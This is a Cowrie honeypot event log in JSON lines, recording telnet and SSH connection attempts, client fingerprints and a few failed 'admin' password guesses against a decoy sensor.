{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":39760,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4613fe73f36","protocol":"telnet","message":"New connection: 192.161.62.114:39760 (10.17.0.5:23) [session: a4613fe73f36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:28.546224Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:28.643332Z","src_ip":"159.203.92.129","session":"b0c6c3fa39da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.256733417510986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:29.130393Z","src_ip":"133.130.75.21","session":"fdb42110bdd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614201307296753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:29.211842Z","src_ip":"50.6.7.102","session":"ea3d77d714c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":38424,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec0fde983bbe","protocol":"telnet","message":"New connection: 192.161.62.114:38424 (10.17.0.5:23) [session: ec0fde983bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:29.400966Z"}
{"eventid":"cowrie.session.closed","duration":30.909828662872314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:29.850295Z","src_ip":"162.241.40.195","session":"aaa2c5ef2e31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":38708,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1fd37992094","protocol":"telnet","message":"New connection: 192.161.62.114:38708 (10.17.0.5:23) [session: e1fd37992094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:29.856413Z"}
{"eventid":"cowrie.session.closed","duration":30.85366916656494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:29.870106Z","src_ip":"162.241.40.195","session":"2403fc40519a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60807490348816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:30.024853Z","src_ip":"162.214.112.92","session":"85096927a710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":43534,"dst_ip":"10.17.0.5","dst_port":23,"session":"af346e306cd9","protocol":"telnet","message":"New connection: 162.214.112.92:43534 (10.17.0.5:23) [session: af346e306cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:30.085581Z"}
{"eventid":"cowrie.session.closed","duration":30.94385814666748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:30.393900Z","src_ip":"135.148.33.217","session":"606fe8180eee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.4.73","src_port":42438,"dst_ip":"10.17.0.5","dst_port":23,"session":"70afba69971e","protocol":"telnet","message":"New connection: 160.250.4.73:42438 (10.17.0.5:23) [session: 70afba69971e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:30.800085Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":41126,"dst_ip":"10.17.0.5","dst_port":23,"session":"c11e2a22f824","protocol":"telnet","message":"New connection: 192.161.62.114:41126 (10.17.0.5:23) [session: c11e2a22f824]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:30.864030Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":41170,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a898480ef3f","protocol":"telnet","message":"New connection: 192.161.62.114:41170 (10.17.0.5:23) [session: 3a898480ef3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:30.912021Z"}
{"eventid":"cowrie.session.closed","duration":30.473568201065063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:31.041704Z","src_ip":"99.198.111.122","session":"5365d8c9ab0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527808904647827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:31.168568Z","src_ip":"99.198.111.122","session":"a3818c7e8e90","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.19914174079895,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:31.317107Z","src_ip":"160.250.4.73","session":"02b17d912c5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.407576322555542,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:31.710526Z","src_ip":"162.214.112.92","session":"94a2186ccab5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278753519058228,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:31.958417Z","src_ip":"216.22.21.200","session":"3f9abed62555","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.646275281906128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:32.114884Z","src_ip":"50.6.7.102","session":"e3bfbdb2873c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.201178550720215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:32.149575Z","src_ip":"195.154.29.177","session":"333143feb3e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":41792,"dst_ip":"10.17.0.5","dst_port":23,"session":"209018683657","protocol":"telnet","message":"New connection: 192.161.62.114:41792 (10.17.0.5:23) [session: 209018683657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:32.322919Z"}
{"eventid":"cowrie.session.connect","src_ip":"99.198.111.122","src_port":54734,"dst_ip":"10.17.0.5","dst_port":23,"session":"46fe8879a116","protocol":"telnet","message":"New connection: 99.198.111.122:54734 (10.17.0.5:23) [session: 46fe8879a116]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:32.474424Z"}
{"eventid":"cowrie.session.closed","duration":30.922985553741455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:32.539034Z","src_ip":"162.214.112.92","session":"cb1713a1d018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":45894,"dst_ip":"10.17.0.5","dst_port":23,"session":"748bb7971ffd","protocol":"telnet","message":"New connection: 162.214.112.92:45894 (10.17.0.5:23) [session: 748bb7971ffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:32.823595Z"}
{"eventid":"cowrie.session.closed","duration":30.246733903884888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:32.972685Z","src_ip":"162.241.40.195","session":"1b1f9bf15382","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.827683210372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:33.083172Z","src_ip":"135.148.33.217","session":"96dad46f2872","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.053892135620117,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:33.126927Z","src_ip":"160.250.4.73","session":"74d6dc91586c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":41014,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8cbb980101c","protocol":"telnet","message":"New connection: 192.161.62.114:41014 (10.17.0.5:23) [session: e8cbb980101c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:33.568894Z"}
{"eventid":"cowrie.session.closed","duration":30.494014263153076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:34.012843Z","src_ip":"135.148.33.217","session":"6ab5d76abde1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.7.102","src_port":52414,"dst_ip":"10.17.0.5","dst_port":23,"session":"77a8ac2604b4","protocol":"telnet","message":"New connection: 50.6.7.102:52414 (10.17.0.5:23) [session: 77a8ac2604b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:34.089755Z"}
{"eventid":"cowrie.session.closed","duration":30.769771099090576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:34.094602Z","src_ip":"99.198.111.122","session":"c2a70f3b08be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.832441329956055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:34.164521Z","src_ip":"99.198.111.122","session":"22a69a03147d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.802305221557617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:34.808511Z","src_ip":"162.241.40.195","session":"f603ca16eca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23923683166504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:34.949233Z","src_ip":"162.241.40.195","session":"04fa2acde5aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6442289352417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:36.309381Z","src_ip":"162.241.40.195","session":"b006f6c17ce2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":53210,"dst_ip":"10.17.0.5","dst_port":23,"session":"04b4168f8b17","protocol":"telnet","message":"New connection: 135.148.33.217:53210 (10.17.0.5:23) [session: 04b4168f8b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:36.349536Z"}
{"eventid":"cowrie.session.closed","duration":31.389780521392822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:36.492695Z","src_ip":"162.241.40.195","session":"555fb102cb57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.63611936569214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:36.993320Z","src_ip":"64.235.40.29","session":"f6278606091f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17766761779785,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.143290Z","src_ip":"50.6.7.102","session":"3d89ddffcfd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.139798641204834,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.216011Z","src_ip":"192.161.62.114","session":"6d355faf8da6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89586067199707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.460136Z","src_ip":"64.235.40.29","session":"70c9620ecdd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":12452,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ca11ac0f74b","protocol":"ssh","message":"New connection: 2.57.121.112:12452 (159.203.135.109:22) [session: 8ca11ac0f74b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.473737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.478622Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.580022Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":34382,"dst_ip":"159.203.135.109","dst_port":22,"session":"23ae1e9055bd","protocol":"ssh","message":"New connection: 122.168.114.167:34382 (159.203.135.109:22) [session: 23ae1e9055bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.686777Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":54694,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac195425f301","protocol":"telnet","message":"New connection: 135.148.33.217:54694 (10.17.0.5:23) [session: ac195425f301]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:37.772947Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190576","message":"login attempt [admin/190576] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:38.057554Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.651618242263794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:38.069984Z","src_ip":"162.241.40.195","session":"32de6c0dc37d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845894813537598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:38.105021Z","src_ip":"99.198.111.122","session":"79860f8279ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":55484,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b6c3cbaf45","protocol":"telnet","message":"New connection: 135.148.33.217:55484 (10.17.0.5:23) [session: e8b6c3cbaf45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:38.304453Z"}
{"eventid":"cowrie.session.closed","duration":30.83977246284485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:38.550449Z","src_ip":"162.214.112.92","session":"bcee0a876ec1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01768493652344,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:38.793096Z","src_ip":"162.214.112.92","session":"4da45a1f307e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.84.199.249","src_port":50386,"dst_ip":"10.17.0.5","dst_port":23,"session":"019ebe87992e","protocol":"telnet","message":"New connection: 40.84.199.249:50386 (10.17.0.5:23) [session: 019ebe87992e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:39.115385Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190482","message":"login attempt [admin/190482] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:39.161327Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":43982,"dst_ip":"10.17.0.5","dst_port":23,"session":"49a72b9e21e5","protocol":"telnet","message":"New connection: 192.161.62.114:43982 (10.17.0.5:23) [session: 49a72b9e21e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:39.372607Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19031903","message":"login attempt [admin/19031903] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:40.269349Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.264228582382202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:40.645549Z","src_ip":"50.6.7.102","session":"0413d1dd1397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.214.112.92","src_port":47810,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2ac4e781e08","protocol":"telnet","message":"New connection: 162.214.112.92:47810 (10.17.0.5:23) [session: c2ac4e781e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:40.650948Z"}
{"eventid":"cowrie.session.closed","duration":31.22925090789795,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:40.769899Z","src_ip":"162.241.40.195","session":"82a540125195","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92323660850525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:40.802313Z","src_ip":"162.214.112.92","session":"0fcd6c80a253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.424702167510986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:41.072628Z","src_ip":"50.6.7.102","session":"326cc9402557","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:41.125122Z","src_ip":"122.168.114.167","session":"23ae1e9055bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:41.128508Z","src_ip":"122.168.114.167","session":"23ae1e9055bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.403945922851562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:41.145226Z","src_ip":"133.130.75.21","session":"4c020a441053","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"190189","message":"login attempt [admin/190189] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:41.372947Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.200984477996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:41.685798Z","src_ip":"162.214.112.92","session":"b3e3535334b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":40772,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dea8635698a","protocol":"telnet","message":"New connection: 108.179.218.230:40772 (10.17.0.5:23) [session: 7dea8635698a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:42.092249Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.33.217","src_port":60236,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fdda0f3634f","protocol":"telnet","message":"New connection: 135.148.33.217:60236 (10.17.0.5:23) [session: 5fdda0f3634f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:42.113647Z"}
{"eventid":"cowrie.session.closed","duration":31.15100646018982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:42.236264Z","src_ip":"160.250.4.73","session":"d7dbfb073f1a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18121971","message":"login attempt [admin/18121971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:42.476508Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.840073108673096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:42.793802Z","src_ip":"162.214.112.92","session":"7d231b69e853","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21867322921753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:43.061878Z","src_ip":"50.6.7.102","session":"5001783467d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":41416,"dst_ip":"10.17.0.5","dst_port":23,"session":"e32b721c72ea","protocol":"telnet","message":"New connection: 108.179.218.230:41416 (10.17.0.5:23) [session: e32b721c72ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:43.361400Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.161.62.114","src_port":47626,"dst_ip":"10.17.0.5","dst_port":23,"session":"52c3286d317a","protocol":"telnet","message":"New connection: 192.161.62.114:47626 (10.17.0.5:23) [session: 52c3286d317a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:43.576092Z"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:58:43.581692Z","src_ip":"2.57.121.112","session":"8ca11ac0f74b","protocol":"ssh"}
